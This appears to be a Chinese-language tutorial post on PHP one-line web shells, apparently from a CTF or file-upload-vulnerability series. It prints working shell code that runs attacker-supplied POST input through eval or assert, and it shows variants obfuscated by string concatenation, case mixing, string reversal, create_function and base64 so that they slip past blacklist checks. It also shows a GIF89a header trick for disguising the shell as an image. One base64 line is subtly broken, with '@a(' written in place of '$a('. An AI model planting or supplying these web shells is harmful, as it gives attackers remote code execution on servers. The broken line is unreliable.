實例
<?php @eval($_POST['shell']);?>
- @ 防止報錯
- eval() 把字符串當作php代碼執行
$_POST['xyz']以post方式獲取名為xyz的變量
使用:訪問這句木馬所在的php文件,以post方式傳入 xyz = phpinfo()
- 網頁會(執行
phpinfo()這個函數)返回網頁php的版本信息
變形
assert
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
- 區別在於
assert函數在執行給定代碼時,要求代碼的結果為布爾類型,而eval函數則可以執行任意有效的 PHP 代碼
字符變形
使用字符串拼接、大小寫混淆、字符串逆序組合而成
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['shell']);
?>
# phpinfo();
<?php
$a="of"."NiP"."Hp";
$b=strtolower($a);
$c=strrev($b);
@$c();
?>
strtolower()是 PHP 中的一個內置函數,用於將字符串轉換為小寫字母strrev()字符串反轉
注意,字符變形僅僅用於函數名,不能寫成 $a=")(of"."NiP"."Hp"; ,不能把括號一起放入。
用解析出來的變量替代函數名,本質上只是字符的替換,繞過黑名單檢測,最後“觸發”函數的執行需要依賴括號 () 。假如括號也寫在字符變形之中,最終由變量替換產生一串 phpinfo() 這樣的字符串,php 顯然不會執行這個字符串,所以必須把括號放在外面。
自定義函數
<?php
function fun($a){
@eval($a);
}
@fun($_POST['shell']);
?>
create_function
<?php
$fun = create_function('',$_POST['shell']);
$fun();
?>
- 用法:
$addFunction = create_function('参数', '函数体');
base64_decode 函數
<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['shell']);
?>
YXNzZXJ0是assert的base64編碼,base64_decode()是base64解密函數
繞過<?
GIF89a? <script language="php">eval($_REQUEST[123])</script>
GIF89a: 這是 GIF 圖像文件的文件頭標識符- 剩餘就是正常的html語言
<? 繞過
<script language="php">
eval($_POST['zj'])
</script>
短標籤

short_open_tag 開啟以後,可以使用 PHP 的短標籤:<? ?>
- 繞過黑名單有
php的情況
題目
Next post →文件上傳漏洞
